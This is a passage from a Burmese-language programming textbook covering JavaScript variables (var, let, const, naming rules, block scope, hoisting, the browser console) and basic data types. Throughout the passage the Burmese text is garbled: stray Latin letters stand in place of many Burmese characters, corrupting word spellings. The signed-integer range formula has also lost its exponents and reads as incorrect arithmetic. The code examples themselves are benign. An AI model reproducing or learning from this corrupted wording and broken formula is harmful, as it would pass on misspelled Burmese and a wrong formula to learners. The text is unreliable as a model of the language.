တန်oုိးdတွ သိမ်းလ့ုိရတဲ့  dနရာdလးတစ်ခု လ့ုိ  gမင်eကည့်နိုင်ပါတယ်။ အခုလုိ ညွှန်eကားချက်dလး တစ်ခု
dပးလုိက်မယ် ဆိုeကပါစို့။

var num

ဒါဟာ Memory dပါ်မှာ dနရာdလးတစ်ခုယူပြပီး အ့ဲဒီdနရာကို  num လ့ုိ အမည်dပးလိုက်တာပါ။ zယ်နား
မှာdနရာယူရမယ်၊ zယ်လုိdနရာယူရမယ်ဆိုတာ ကိုယ်တိုင်တိုက်ရိုက် စီမံစရာမလုိပါzူး။ သတ်မှတ်ထား
တဲ့ dရးထုံးကို အသံုးgပုပြပီး ညွှန်eကားချက်ကို dရးdပးလုိက်ယံုပါပဲ။ ကျန်တာကို Compiler/Interpreter က
eကည့်လုပ်သွားပါလိမ့်မယ်။  JavaScript  မှာ  Variable  deကညာလုိရင်  var Keyword  ကို  အသံုးgပုပြပီး
deကညာရတယ်ဆိုတဲ့ dရးထံုးသတ်မှတ်ရှိလ့ုိ သတ်မှတ်ချက်နဲ့အညီ ညွှန်eကားလုိက်gခင်းပဲ goစ်ပါတယ်။

dနရာdလးယူပြပီးပြပီ  ဆိုရင်dတာ့  အ့ဲဒီdနရာမှာ  သိမ်းချင်တဲ့တန်oုိးdတွ  သိမ်းလုိ့ရသွားပါပြပီ။  ဒီလုိသိမ်းo့ုိ
အတွက် Programming Language အများစုက Equal သdက[တကို သံုးeကပါတယ်။ ဒီလိုပါ –

var num
num = 3

ဒါဟာ  Memory  dပါ်မှာ  dနရာတစ်ခုယူ၊  num လ့ုိအမည်dပးပြပီး၊  အ့ဲဒီdနရာမှာ  3  ဆိုတဲ့တန်oုိးကို  သိမ်း
လုိက်တာပါ။ တစ်ဆက်ထဲ အခုလုိdရးမယ်ဆိုရင်လည်း ရပါတယ်။

var num = 3
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အများစုက Equal ဆိရုင်ညီတယ်လ့ုိ သိထားတာမ့ုိလ့ုိ ပရိုZရမ်းမင်း ကိုစdလ့လာချနိ်မှာ ဒါဟာ dခါင်းထဲမှာ
ပံုdoာ်eကည်ရခက်ပြပီး အခက်dတွ့eကdလ့ရှိတဲ့ gပဿနာတစ်ခုပါ။ ဒါdeကာင့် ဒါdလးကို အထူးZရုgပုoုိ့ လုိပါ
လိမ့်မယ်။  Equal  သdက[တကို  ပရိုZရမ်းမင်းမှာ  အများအားgoင့်   တန်oုိးသတ်မှတ်o့ုိ  သံုးeကပါတယ်။
Assignment  Operator  လ့ုိdခါ်ပါတယ်။  ညီတယ်ဆိုတဲ့  အဓိပ္ပါယ်မဟုတ်ပါzူး။  ဒါdeကာင့်  Equal
သdက[တdလးကိုdတွ့ရင် ဒီလုိမျက်စိထဲမှာ gမင်eကည့်လုိက်ပါ။

 Pseudocode 
var num ← 3

dနာက်ပုိင်းမှာ  ကုဒ်နမူနာdတွကို  doာ်gပတဲ့အခါ  zာကုဒ်အမျ ို းအစားလဲ  ကွဲgပားသွားdအာင်  နမူနာရဲ့
အdပါ်နားမှာ dခါင်းစဉ်တပ် doာ်gပသွားပါမယ်။ အထက်ကနမူနာဟာ လက်dတွ့အလုပ်လုပ်တဲ့ကုဒ်မဟုတ်
zဲ  သdzာသzာဝကို  ရှင်းgပoုိ့အတွက်  အသုံးgပုတဲ့  Pseudocode  dခါ်  နမူနာကုဒ်  goစ်တဲ့အတွက်
Pseudocode လ့ုိ dခါင်းစဉ်တပ် dပးထားပါတယ်။

သိမ်းထားတဲ့ တန်oိုးdတွကို လုိအပ်တဲ့အခါ gပန်ယူသံုးလ့ုိရသလို၊ အgခားတန်oိုးနဲ့ dgပာင်းသိမ်းလ့ုိလည်း ရ
ပါတယ်။ ဥပမာ -

 JavaScript 
var num1 = 5
var num2 = 10
var num3 = num1 + num2

dရးထားတဲ့ကုဒ်အရ  Variable (၃)  ခု  တစ်ခုပြပီးတစ်ခု  deကညာထားတာပါ။  တန်oိုးdတွလည်း တစ်ခါထဲ
ထည့်ထားပါတယ်။  ထူးgခားချက်အdနနဲ့  num3 အတွက်တန်oုိးအတွက်  num1 နဲ့  num2 ကို  dပါင်းပြပီး
ထည့်o့ုိ ညွှန်eကားချက်dပးထားပါတယ်။  Plus  သdက[တကိုdတာ့ ပရိုZရမ်းမင်းမှာလည်း ကိန်းZဏနေန်းdတွ
dပါင်းo့ုိသံုးနိုင်ပါတယ်။ 

ဒီစာအုပ်မှာ doာ်gပထားတဲ့  နမူနာ  JavaScript  ကုဒ်dတွကို  တစ်ခါထဲ လက်dတွ့dရးပြပီး  စမ်းeကည့်နိုင်ပါ
တယ်။  ဒီလိုစမ်းeကည့်နိုင်o့ုိအတွက်  သီးgခားနည်းပညာdတွ  ထပ်ထည့်o့ုိမလိုပါzူး။  Chrome,  Edge,



PWD 2022 – အခန်း (၁၂) – JavaScript Variables 201

Firefox  စတဲ့  ပံုမှန်အသံုးgပုdနeက  Web Browser  တစ်ခုရှရိင်  စမ်းလို့ရပါတယ်။  Web Browser  dတွမှာ
DevTools လ့ုိdခါ်တဲ့ နည်းပညာတစ်ခု ပါဝင်ပြပီး၊ အ့ဲဒီ DevTools ထဲမှာ JavaScript ကုဒ်dတွ dရးလ့ုိ စမ်း
လ့ုိရတဲ့ JavaScript Console လုပ်dဆာင်ချက် ပါဝင်ပါတယ်။ 

နမူနာပံုမှာ  dလ့လာeကည့်ပါ။  Browser  ရဲ့  dနရာလွတ်မှာ  Right  Click  နှိပ်ပြပီး  Inspect  ကို  dရးွgခင်း
အားgoင့်  DevTools ကို oွင့်နိုင်ပါတယ်။ Chrome Browser မှာdတာ့  Ctrl+Shift+I (သ့ုိ) Ctrl+Shift+J ကို
Shortcut အdနနဲ့ နှိပ်ပြပီးoွင့်နိုင်ပါတယ်။ ပြပီးတဲ့အခါ နမူနာပံုရဲ့ နံပါတ် (3) gပထားတဲ့dနရာက Console ကို
နှိပ်ပြပီး နံပါတ် (4) gပထားတဲ့ dနရာမှာ JavaScript ကုဒ်dတွdရးပြပီး စမ်းeကည့်လ့ုိရပါပြပီ။

နံပါတ် (5) gပထားတဲ့ Menu ကိုနှိပ်ပြပီး DevTools doာ်gပတဲ့dနရာ dgပာင်းလ့ုိရပါတယ်။ နမူနာမှာ Browser
ရဲ့ ညာzက်gခမ်းမှာ doာ်gပထားပါတယ်။ dအာက်zက်gခမ်းမှာ doာ်gပချင်ရင်လည်းရပါတယ်။ zယ်zက်
gခမ်းမှာ doာ်gပချင်ရင်လည်း ရပါတယ်။ ဒါမှမဟုတ်  DevTools  ကိုသီးgခား  Window တစ်ခုနဲ့  gပdစချင်ရင်
လည်းရပါတယ်။ Menu ထဲက Dock side dzးနားက ခလုပ်dလးdတွကို နှိပ်ပြပီး dgပာင်းdပးနိုင်ပါတယ်။
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Console  မှာ  ကုဒ်dတွdရးစမ်းတဲ့အခါ  တစ်deကာင်းdရးရင်  တစ်ခါ  အလုပ်လုပ်ပြပီး  အလုပ်လုပ်လုိက်တဲ့
အတွက် gပန်ရလာတဲ့ ရလဒ်ကို ချက်ချင်းdတွ့gမင်ရပါတယ်။ ဥပမာ 1 + 1 dရးပြပီး Enter နှိပ်လုိက်ရင် 2 ဆို
တဲရ့လဒ်ကို  ချက်ချင်းgပန်ရပါတယ်။  အdပါ်ကနမူနာပံုမှာလည်း  ကုဒ်နှစ်deကာင်းdရးစမ်းထားပါတယ်။
var num ဆိုတဲ့ကုဒ်ရဲ့  ရလဒ်ကdတာ့  undefined  goစ်dနတာကို  dတွ့ရပါလိမ့်မယ်။  ရလဒ်တန်oုိး  မ
ရိှdသးလ့ုိ  undefined ကိရုလဒ်အdနနဲ့  gပန်ရတာပါ။ dနာက်တစ်လုိင်းမှာ  num = 3 လ့ုိdရးလုိက်တဲ့
အခါ ရလဒ်အdနနဲ့လည်း 3 ကိုပဲ gပန်ရတာကို dတွ့ gမင်ရမှာ goစ်ပါတယ်။

ကုဒ်နမူနာdတွကို လက်dတွ့dရးစမ်းလုိက်gခင်းအားgoင့်၊ ကုဒ်ရဲ့ အလုပ်လုပ်ပံုကို တစ်ခါထဲ မျက်gမင် dတွ့ရ
လ့ုိ  ပုိပြပီးdတာ့  နားလည်သွားမှာgoစ်ပါတယ်။ မှားတတ်တဲ့အမှားdတွကိုလည်း  တစ်ခါထဲ  dတွ့gမင်သွားမှာ
goစ်သလုိ၊  dရးကျင့်လည်း  တစ်ခါထဲ  ရသွားမှာ  goစ်ပါတယ်။  လက်dတွ့dရးစမ်းတာထက် ပုိထိdရာက်တဲ့
dလ့လာနည်း  မရှိပါzူး။  ဒါdeကာင့်  ကုဒ်နမူနာdတွကို  တစ်ခါထဲdရးစမ်းeကo့ုိ  တိုက်တွန်းပါတယ်။  လုိက်
dရးလုိ့ရdအာင်လည်း နမူနာdတွကို dပးသွားမှာပါ။

ဆက်လက်dလ့လာeကပါမယ်။  Programming  Language  အများစုက  သတ်မှတ်ထားeကတဲ့  Variable
အမည်dပးပံုdပးနည်း အdeကာင်း dgပာချင်ပါတယ်။ Language dပါ်မူတည်ပြပီး ကွဲလဲွချက်dတွရှိနိုင်dပမယ့်
အများအားgoင့်က ဒီလုိပါ။ Variable အမည်dပးတဲ့အခါ – 

• abc စာလံုးအကြကီး/အdသးdတွ ပါလ့ုိရပါတယ်၊
• 123 Zဏနေန်းdတွ ပါလ့ုိရတယ် (ဒါdပမယ့် Zဏနေန်းနဲ့ မစရပါzူး)၊
• Space dတွပါလ့ုိ မရပါzူး၊
• လုိအပ်ရင် Underscore သdက[တကို ထည့်သံုးနိုင်ပါတယ်၊
• +,-.*&#@ အပါအဝင် Special Character သdက[တdတွ ပါလ့ုိမရပါzူး။

ဒါက  Language  အများစုမှာ  ရိှeကတဲ့  သdzာသzာဝပါ။  JavaScript  မှာလည်း  အတူတူပါပဲ။  ထူးgခား
ချက်အdနနဲ့။  Special Character  dတွထဲက $ သdက[တကို  Variable  အမည်မှာ ထည့်သွင်းအသံုးgပုခွင့်
dပးထားပါတယ်။ ဒါdeကာင့် ဒီလုိdရးရင် ရပါတယ်။
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 JavaScript 
var $num = 1

dနာက်ထပ်သတိgပုရမယ့်အချက်ကdတာ့  JavaScript  အပါအဝင်  Language  အများစုဟာ  Case
Sensitive  goစ်eကပါတယ်။  အဓိပ္ပါယ်က  စာလံုးအကြကီးအdသး  လဲွလ့ုိမရပါzူး။  အတိအကျသတ်မှတ်ပြပီး
အတိအကျသံုးdပးရပါတယ်။ ဥပမာ -

 JavaScript 
var Num1 = 3
var num2 = num1 + 5

ဒါဆိုရင် အဆင်မdgပပါzူး။ deကညာတုံးက  Num1 လ့ုိ စာလံုးအကြကီးနဲ့  deကညာခဲ့ပါတယ်။ gပန်သံုးdတာ့
num1 ဆိုတဲ့စာလံုးအdသးနဲ့  goစ်dနလ့ုိ  Language  က  num1 ဆိုတာ မရှိzူးဆိုတဲ့  Error  ကိုdပးပါလိမ့်
မယ်။ စမ်းeကည့်နိုင်ပါတယ်။

JavaScript မှာ Variable deကညာo့ုိ နည်းလမ်းနှစ်မျ ို းရှိပါတယ်။ ဒီလုိပါ။

 JavaScript 
var num1 = 3
let num2 = 3

dရးပုdံရးနည်းအတူတူပါပဲ။ အသံုးgပုတဲ့  Keyword ကွာသွားတာပါ။ အခုdပးထားတဲ့ နမူနာအရ num1 နဲ့
num2 ဆိုတဲ့  Variable  နှစ်ခုမှာ တန်oုိးကိုယ်စီ သတ်မှတ်dပးလုိက်တာပါ။ ထူးgခားချက်အdနနဲ့ မှတ်ရမှာ
က let Keyword ကို အသံုးgပုdeကညာတဲ့ Variable dတွကို Block Scope Variable လ့ုိ dခါ်ပါတယ်။ ဒီ
အdeကာင်းကို  သင့်dတာ်တဲ့dနရာ  dရာကရ်င်  dနာက်တစ်ကြကိမ်  ထပ်dgပာပါမယ်။  အခုdလာdလာဆယ်
Block Scope Variable ကို ဒီနမူနာdလးနဲ့ eကည့်ပါ။
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 JavaScript 
{
    var num1 = 3
    let num2 = 3
}

Variable  နှစ်ခုလံုးကို  တွန့်ကွင်းအoွင့်အပိတ်  Block  ထဲမှာ dရးထားပါတယ်။  var ကိုအသံုးgပုdeကညာ
ထားတဲ့  Variable ကို ဒီ  Block ရဲ့အgပင်ကdနလည်း သံုးလ့ုိရပါတယ်။ let ကိုအသံုးgပု deကညာထားတဲ့
Variable ကိုdတာ့ ဒီ Block ရဲ့ အgပင်ကdန သံုးလ့ုိရမှာ မဟုတ်ပါzူး။ ဒါdeကာင့် -

 JavaScript 
num1 + 2

– ဆိရုင် အdgo 5 ရမှာပါ။ num1 ထဲက တန်oုိး 3 နဲ့ 2 ကိုdပါင်းလုိက်တဲ့အတွက်ပါ။ ဒါdပမယ့် -

 JavaScript 
num2 + 2

ဆိရုင်dတာ့  Error  goစ်ပါတယ်။  num2 မရှိzူးလ့ုိ  dgပာပါလိမ့်မယ်။  zာdeကာင့်လဲဆိုdတာ့  num2 ဟာ
let ကို အသံုးgပု deကညာထားတဲ့ Block Scope Variable goစ်dနလ့ုိ သူ့ Block gပင်ပမှာ အသံုးgပုခွင့်မရှိ
တဲ့ အတွက်deကာင့်ပါ။ 

Variable dတွကို Comma ခံပြပီး အတွဲလုိက်deကညာလ့ုိလည်း ရပါတယ်။ ဒီလိုပါ -

 JavaScript 
let a, b, c = 3

ဒါဟာ a, b နဲ့ c ဆိုပြပီး Variable (၃) ခု တစ်ခါထဲdeကညာလုိက်တာပါ။ c အတွက် တန်oုိးအdနနဲ့ 3 လ့ုိ
လည်း  တစ်ခါထဲ  သတ်မှတ်ထားပါတယ်။  ဒါ  c  နဲ့ပဲ  ဆိုင်ပါတယ်။  a  dတွ  b  dတွနဲ့  မဆိုင်လ့ုိ  လက်ရှိ
deကညာချက်အရ a နဲ့ b မှာ တန်oုိးdတွ မရှိeကdသးပါzူး။
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ကိန်းရှင်  Variable  dတရွှိသလို  ကိန်းdသ  Constant  dတွလည်းရှိပါdသးတယ်။  Variable  dတကွdတာ့
တန်oုိးကို dgပာင်းလ့ုိရdပမယ့် Constant ကdတာ့ တန်oိုးကို dgပာင်းလ့ုိမရပါzူး။ ဒီလုိdရးရပါတယ်။

 JavaScript 
const PI = 3.14

const Keyword ကိုအသံုးgပုပြပီးdeကညာလုိက်တာပါ။ အထဲမှာ တန်oိုးတစ်ခုလည်း တစ်ခါထဲ ထည့်dပး
ထားပါတယ်။ နမူနာအရ  PI ဟာ  Constant  goစ်သွားပါပြပီ။ ဒါdeကာင့် တန်oုိးdgပာင်းလ့ုိ မရdတာ့ပါzူး။
အခုdန ဒီလုိdရးရင် Error goစ်ပါလိမ့်မယ်။

 JavaScript 
PI = 3.142

Constant  ကိန်းdသကို  dgပာင်းခွင့်မရှိzူးဆိုတဲ့  Error  ကိုရမှာပါ။  var နဲ့  let ရဲ့အားသာ
ချက်/အားနည်းချက်၊  const ရဲ့ ထူးgခားချက် စသည်goင့် dgပာစရာdလးdတွ ကျန်dသးdပမယ့် အ့ဲဒါdတွ
က ကုဒ်dရးသားတဲ့ အdတွ့အကြကုံ အနည်းအကျဉ်း ရိှပြပီဆိုdတာ့မှ dgပာလ့ုိdကာင်းတဲ့ အdeကာင်းအရာdတွ
ပါ။ ဒါdeကာင့် အခုအစပုိင်းမှာdတာ့ dရးနည်းdတွ ဒီလုိရှိတယ် ဆိုတာdလာက်ကိုပဲ မှတ်ထားdပးပါ။

dရးလုိက်တဲ့ကုဒ်dတွဟာ  အပြမဲတမ်း  တစ်deကာင်းပြပီးမှတစ်deကာင်း  အစီအစဉ်အတိုင်း  အလုပ်လုပ်တာ
dတာ့ မဟုတ်dပါ့zူး။ dနာက်မှdရးထားdပမယ့်  Language  ဒီဇုိင်းအရ အရင်အလုပ်လုပ်သွားတာမျ ို းdတွ
ရိှသလုိ Asynchronous Programming dခါ် ပြပိုင်တူအလုပ်လုပ်dစနိုင်တာမျ ို းdတွလည်း ရိှeကပါတယ်။ ဒါ
dပမယ့် dခါင်းထဲမှာ အလုပ်လုပ်သွားပံုကို ပံုdoာ်eကည့်တဲ့အခါ အများအားgoင့် အစီအစဉ်အတိုင်းပဲ eကည့်
eကရမှာပါ။ ဥပမာ -

 JavaScript 
let num1 = 1
let num2 = 2
num1 + num2
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ဒါရှင်းပါတယ်။ num1 deကညာတယ်၊ num2 deကညာတယ်၊ ပြပီးdတာ့မှ num1 နဲ့ num2 ကို dပါင်းထားပါ
တယ်။ ဒီလုိdရးမယ်ဆိုရင် အဆင်dgပမှာ မဟုတ်ပါzူး။

 JavaScript 
num1 + num2

let num1 = 1
let num2 = 2

ပထမဆုံး  num1 နဲ့  num2 ကို  dပါင်းခိုင်းတဲ့အခါ  မရှိzူးဆိုတဲ့  Error  တက်ပါလိမ့်မယ်။  အစီအစဉ်အရ
num1 တို့  num2 တို့  deကညာတဲ့အဆင့်ကို  မdရာက်dသးလ့ုိပါ။  ဒါdပမယ့်  ထူးgခားချက်အdနနဲ့  var
Keyword ကို အသံုးgပုမယ်ဆိုရင် ရလဒ်တစ်မျ ို း goစ်သွားပါလိမ့်မယ်။

 JavaScript 
num1 + num2

var num1 = 1
var num2 = 2

Console  မှာ ကုဒ်dတွdရးပြပီး  Enter  နှိပ်လုိက်ရင် dရးလုိက်တဲ့  ကုဒ်ကို  ချက်ချင်းအလုပ်လုပ်dပးပါတယ်။
Shift  + Enter  နှိပ်လုိက်ရင်dတာ့  အလုပ်မလုပ်dသးzဲ dနာက်တစ်deကာင်းကို  ဆင်းdပးလ့ုိ  dနာကတ်စ်
လုိင်း ထပ်dရးနိုင်ပါတယ်။ ဒီနည်းနဲ့ နှစ်deကာင်း သံုးdeကာင်း dရးပြပီးမှ အလုပ်လုပ်dစချင်ရင်လည်း ရနိုင်
တယ်ဆိုတာကို  ထည့်သွင်းမှတ်သားdပးပါ။  အdပါ်ကကုဒ်နမူနာ  (၃)  deကာင်းကို  Shift  +  Enter  နဲ့  (၃)
deကာင်းလုံးတစ်ခါထဲ dရးပြပီးမှ စမ်းeကည့်ပါ။ 

အလုပ်dတာ့ မလုပ်ပါzူး။ ဒါdပမယ့်  Variable  မရှိzူးဆိုတဲ့  Error  မတက်dတာ့ပါzူး။  Variable  dတွကို
အရင်မdeကညာzဲ dနာက်မှdeကညာdပမယ့် ရှိမှန်းသိပါတယ်။ ဒါdပမယ့် သူတို့ထဲက တန်းoုိးdတွကိုdတာ့
မသိdသးပါzူး။ ဒါdeကာင့် မရှိzူးဆိုတဲ့  Error  မတက်dတာ့သလို အdgoလည်းမှန်မှာ မဟုတ်ပါzူး။ အ့ဲဒီ
ကုဒ်ကို တစ်ကယ်တမ်းအလုပ်လုပ်သွားတဲ့အခါ ဒီလုိလုပ်သွားမှာပါ။
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 Pseudocode 
var num1
var num2
num1 + num2
num1 = 1
num2 = 2

JavaScript  က သ့ူzာသာ num1 နဲ့  num2 deကညာချက်dတွကို အdပါ်ပ့ုိလိုက်ပြပီးမှ အလုပ်လုပ်သွားမှာ
ပါ။  ဒီသdzာကို    Variable  Hoisting    လ့ုိdခါ်ပါတယ်  ။  Variable  Lifting  လ့ုိလည်းdခါ်ပါတယ်။
deကညာချက်dတွကို အလုိအdလျှာက် အdပါ်တင်dပးလိုက်တာမ့ုိလ့ုိပါ။

ဒါဟာ ထူးgခားချက်တစ်ခုမုိ့လ့ုိ သိdအာင်ထည့်dgပာလိုက်တာပါ။ လက်dတွ့မှာ အစီအစဉ်အတိုင်း ရှိသင့်တဲ့
ကုဒ်ကို အစီအစဉ်အတိုင်း dရးdပးo့ုိ လုိအပ်ပါတယ်။
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အခန်း (၁၃) – JavaScript Data Types

Variable  တစ်ခု  deကညာလုိက်တဲ့အခါ  Memory  dပါ်မှာ dနရာယူdပးသွားတယ်ဆိုdတာ့၊  zယ်dလာက်
ပမာဏနေယူမှာလဲဆိုတာ dgပာစရာရှိလာပါတယ်။ သိမ်းမယ့်အချက်အလက် အမျ ို းအစား Data Type dပါ်မှာ
မူတည်ပြပီးdတာ့ လုိသdလာက် ပမာဏနေကို ယူသွားတာပါ။ A, B, C ဆိုတဲ့ အZ[လိပ်စာ စာလံုးdလး တစ်လံုး
သိမ်းo့ုိအတွက်  1  byte   ပမာဏနေရှိတဲ့  dနရာယူလိုက်ရင်  သိမ်းလို့ရသွားပါပြပီ။  1,  2,  3  ကိန်းZဏနေန်းdလး
တစ်လံုး သိမ်းo့ုိဆိုရင်လည်း 1 byte ပမာဏနေရှိတဲ့ dနရာနဲ့တင် လံုdလာက်ပါတယ်။ ဒါdပမယ့် 100, 1234,
9999  စတဲ့  တန်oုိးdတွ  သိမ်းချင်လုိ့dတာ့  1  byte  ပမာဏနေနဲ့  ရမှာမဟုတ်ပါzူး။  ဒီလိုတန်oုိးdတွ  သိမ်းo့ုိ
အတွက် လက်ခံသိမ်းဆည်းနိုင်တဲ့ ပမာဏနေကို dနရာယူo့ုိ လုိပါလိမ့်မယ်။ အလားတူပဲ "Hello", "မZ[လာပါ"
စတဲ့စာdတွ သိမ်းချင်ရင်လည်း လက်ခံသိမ်းဆည်းနိုင်dလာက်တဲ့ ပမာဏနေကို ယူoို့ လုိပါလိမ့်မယ်။

Programming Language အများစု အdgခခံ Data Type dတွ ရိှeကပါတယ်။ ဒီ (၄) မျ ို းပါ။

• Character
• Number
• Boolean
• String

ဒီအdgခခံ Data Type dတွကို အများအားgoင့် Primitive Type လ့ုိdခါ်eကပါတယ်။ တန်oုိးတစ်ခု သိမ်းလ့ုိရ
တဲ့အမျ ို းအစား goစ်တဲ့အတွက် Scala Type လ့ုိလည်း dခါ်eကပါတယ်။ တန်oုိးdတွ အတွဲလုိက်သိမ်းလ့ုိရတဲ့
Types dတွလည်း ရိှပါdသးတယ်။ dနာက်ပုိင်းမှာ ဆက်dgပာdပးပါမယ်။
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Character ဆိုတာ A, B, C စာလံုးdလး တစ်လံုးကို dgပာတာပါ။  Variable တစ်ခုdeကညာပြပီး သ့ူရဲ့  Data
Type  ကို  Character  လ့ုိ သတ်မှတ်dပးလုိက်ရင် စာလံုးdလးတစ်လံုးကိုသာ လက်ခံသိမ်းဆည်းdပးနိုင်တဲ့
Variable  တစ်ခုကို ရသွားတာပါ။ ဒီသdzာသzာဝdတွကို ရှင်းgပo့ုိအတွက်  Pseudocode  dတွနဲ့  နမူနာ
gပချင်ပါတယ်။  Pseudocode  ဆိုတာ နမူနာကုဒ်သက်သက်goစ်ပြပီး  တစ်ကယ် လက်dတွ့အလုပ်လုပ်မယ့်
ကုဒ်မဟုတ်deကာင်း ထပ်dgပာလုိပါတယ်။ ဒါdeကာင့် dရးစမ်းo့ုိ မဟုတ်zဲ၊ oတ်eကည့်ပြပီး နားလည်dအာင်
ကြကိုးစားo့ုိ goစ်ပါတယ်။

 Pseudocode 
let blood: char = 'A';

ဒါဟာ  let Keyword  ကိုအသံုးgပုပြပီး  blood လ့ုိdခါ်တဲ့  Variable  တစ်ခုdeကညာလုိက်တာပါ။ ထူးgခား
ချက်အdနနဲ့ dနာက်မှာ char Keyword နဲ့ Character Data Type goစ်deကာင်း ထည့်သွင်းdeကညာလုိက်
တဲ့  အတွက်  dနရာယူတဲ့အခါ  စာလံုးတစ်လံုးစာပဲ  dနရာယူသွားမှာgoစ်လုိ့  သိမ်းတဲ့အခါမှာလည်း  စာလံုး
တစ်လံုးပဲ သိမ်းလို့ရမှာ goစ်ပါတယ်။ Variable Name နဲ့ Data Type ကို Full-Colon နဲ့ ပုိင်းgခားပြပီး dရးတဲ့
နည်းကို နမူနာအdနနဲ့ အသံုးgပုထားပါတယ်။

တစ်လက်စထဲ Character တန်oုိးgoစ်တဲ့ A ကို dရးတဲ့အခါ Single Quote အoွင့်အပိတ်ထဲမှာ dရးdပးထား
တာကိုလည်း သတိgပုသင့်ပါတယ်။  Character Data Type  ရှိတဲ့  Language  အများစုမှာ ဒီလုိပဲ dရးရပါ
တယ်။ ကုဒ်လုိင်းရဲ့ dနာက်ဆုံးက Semicolon ကိုလည်း သတိgပုသင့်ပါတယ်။ တစ်ချ ို ့ Language dတွမှာ
ကုဒ်တစ်လုိင်း  ဆုံးတိုင်း  Semicolon  နဲ့  အဆုံးသတ်dပးo့ုိ  သတ်မှတ်ထားeကလ့ုိ  မgoစ်မdနထည့်dပးရပါ
တယ်။ တစ်ချ ို ့ Language dတွမှာdတာ့ မလိုအပ်ပါzူး။

Number  ဆိုတဲ့  Data Type  အမျ ို းအစားထဲမှာdတာ့ zယ်လုိ  Number  လဲဆိုပြပီး မျ ို းကွဲdတွ ထပ်ရှိနိုင်ပါ
dသးတယ်။ ကိန်းgပည့်dတွလား။ ဒဿမကိန်းdတွလား။ ကိန်းgပည့်dတွသိမ်းo့ုိအတွက် dနရာလုိအပ်ချက်
နဲ့ ဒဿမကိန်းdတွ သိမ်းo့ုိအတွက် dနရာလုိအပ်ချက်က မတူပါzူး။ ကိန်းgပည့်ဆိုတာ အdပါင်းကိန်းdတွ
အနှုတ်ကိန်းdတွ  အကုန်ပါတဲ့  ကိန်းgပည့်dတွ  သိမ်းလ့ုိရတာလား။  အdပါင်းကိန်း  dတွချည်းပဲ  ပါတဲ့
ကိန်းgပည့်dတွပဲ ရတာလား။ ရတယ်ဆိုတာ zယ်dလာက်ထိရတာလဲ။ 1 ကdန 1000 ထိလား။ အဆုံးအစ
မရှိ dပးချင်သdလာက် dပးလ့ုိရတာလား။ စသည်goင့် ရှိပါdသးတယ်။
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အdပါင်း အနှုတ် အားလံုးပါတဲ့ ကိန်းgပည့်dတွကို Integer သ့ုိမဟုတ် Signed Integer လ့ုိ dခါ်eကပါတယ်။
အdပါင်းကိန်းdတွချည်းပဲ ပါတဲ့ ကိန်းgပည့်dတွကိုdတာ့ Unsigned Integer လ့ုိdခါ်ပါတယ်။ zယ်dလာက်
ထိ သိမ်းလုိ့ရသလဲ ဆိုတာကို Language အများစုက ပံုdသ သတ်မှတ်ထားeကdပမယ့် တစ်ချ ို ့ Language
dတွက 8-bit, 16-bit, 32-bit, 64-bit စသgoင့် ကိုယ်လုိသdလာက် dနရာယူသတ်မှတ်ခွင့်dပးeကပါတယ်။

 Pseudocode 
let num1: i8 = 100;
let num2: i32 = 10000000;

နမူနာမှာ  num1 ဟာ 8-bit Integer  goစ်deကာင်း  i8 Keyword  နဲ့ သတ်မှတ်dပးထားသလုိ num2 ဟာ
32-bit Integer goစ်deကာင်း i32 နဲ့ သတ်မှတ်dပးထားတာပါ။ Signed Integer dတွမှာ ကိန်းZဏနေန်းdတွ
သိမ်းတဲ့အခါ -(2n - 1) ကdန 2n - 1 – 1 ထိသိမ်းလ့ုိရပါတယ်။ ဒါdeကာင့် 8-bit Integer ဆိရုင် -128 ကdန
127 ထိသိမ်းလ့ုိရပါတယ်။ လက်ခံနိုင်တဲ့ ပမာဏနေထက် ပုိသိမ်းမိရင်dတာ့ Overflow Error တက်မှာပါ။  32-
bit Integer ဆိုရင်dတာ့ -2147483648 ကdန 2147483647 ထိ သိမ်းလ့ုိရပါတယ်။

တစ်ကယ်dတာ့ Number ဆိုတဲ့အထဲမှာ Binary, Octal, Hexadecimal စတဲ့ စနစ်dတွ ကျန်ပါdသးတယ်။
Low Level Programming dခါ် ကွန်ပျူတာ System အတွင်းပုိင်းထိ စီမံတဲ့ကုဒ်dတွdရးလုိရင် မgoစ်မdန
သိထားo့ုိ  လုိအပ်မှာပါ။  ဒီစာအုပ်မှာ  အ့ဲဒီအdeကာင်းdတွ  ထည့်သွင်းမdoာ်gပနိုင်ပါzူး။  စိတ်ဝင်စားရင်
Number  System  dတွအdeကာင်း  ဆက်လက်dလ့လာထားသင့်ပါတယ်။  ဒါdတွကို  နားလည်ထားgခင်း
အားgoင့် ကွန်ပျူတာရဲ့ အလုပ်လုပ်ပံုကို ပုိအတွင်းကျကျ gမင်နိုင်ပါလိမ့်မယ်။

ဒဿမကိန်းdတွ သိမ်းo့ုိအတွက်dတာ့ အနည်းဆုံး 32-bit ကdန စလုိပါတယ်။ တစ်ချ ို ့ Language dတွမှာ
Float, Double, Long စသည်goင့် ဒဿမကိန်းdတွ မူကွဲdတွ ခွဲထားeကပါတယ်။ တစ်ချ ို ့  Language dတွ
မှာdတာ့ 32-bit Float နဲ့ 64-bit Float ဆိုပြပီး နှစ်မျ ို းရှိပါတယ်။ ဒီလုိdeကညာနိုင်ပါတယ်။

 Pseudocode 
let price: f32 = 99.45;

price Variable ဟာ 32-bit Float goစ်deကာင်း f32 Keyword နဲ့ တွဲdeကညာdပးလုိက်တာပါ။ 
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Boolean ကdတာ့ True သ့ုိမဟုတ် False တန်oုိးနှစ်ခုထဲက တစ်ခုကိုသာ လက်ခံသိမ်းဆည်းနိုင်တဲ့  Data
Type  goစ်ပါတယ်။ တgခားတန်oုိးdတွကို  လက်ခံသိမ်းဆည်းနိုင်gခင်း မရှိပါzူး။ မှား/မှန်  စစ်ပြပီး လုပ်ရတဲ့
အလုပ်dတွ အများကြကီးရှိလ့ုိ အသံုးဝင်တဲ့ Data Type တစ်ခုပါ။

String ကdတာ့ စာdတွသိမ်းလို့ရတဲ့ Data Type အမျ ို းအစားပါ။ String ဆိုတာ အdgခခံကျလွန်းတဲ့ မgoစ်
မdနလုိအပ်ချက်မုိ့လ့ုိ ထည့်dgပာdပမယ့် သူ့ကို အdgခခံ  Primitive Data Type လ့ုိ dgပာo့ုိခက်ပါတယ်။ မူ
အားgoင့်  String  ဆိုတာ  Character  dတွကို  အတွဲလုိက်  တွဲပြပီးသိမ်းတာgoစ်လုိ့  တန်oုိးတစ်ခုလို့  dgပာo့ုိ
လည်း ခက်ပါတယ်။ ဥပမာ -

 Pseudocode 
let greet: str = "Hello";

